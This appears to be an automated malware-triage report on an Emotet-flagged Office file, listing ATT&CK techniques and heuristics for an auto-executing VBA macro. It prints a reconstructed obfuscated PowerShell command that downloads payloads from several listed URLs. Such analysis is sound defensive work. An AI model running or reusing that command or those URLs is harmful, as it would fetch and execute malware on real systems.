MITRE ATT&CK

T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File

The sample is identified as malicious by ClamAV with a specific Emotet signature. High-severity heuristics indicate the presence of VBA macros, specifically a Workbook_Open auto-execution routine that uses CreateObject to interact with the Windows Script Host. The embedded VBA script contains obfuscated PowerShell commands that attempt to download and execute payloads from multiple URLs. One of the reconstructed PowerShell download commands is: 'wershell -e "http://store.uxdummmit.com/wp-admin/VfgBSQ7Z/,https://glorenentals.com/wp-admin/f1eZeAKGTnS6I/,http://candisele.biminteractive.com/1g94ngo/2n7wJoPuPDEanPcX/,http://bacchileatoropocircles.org/'. The script also attempts to create batch files in \programdata\.

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code
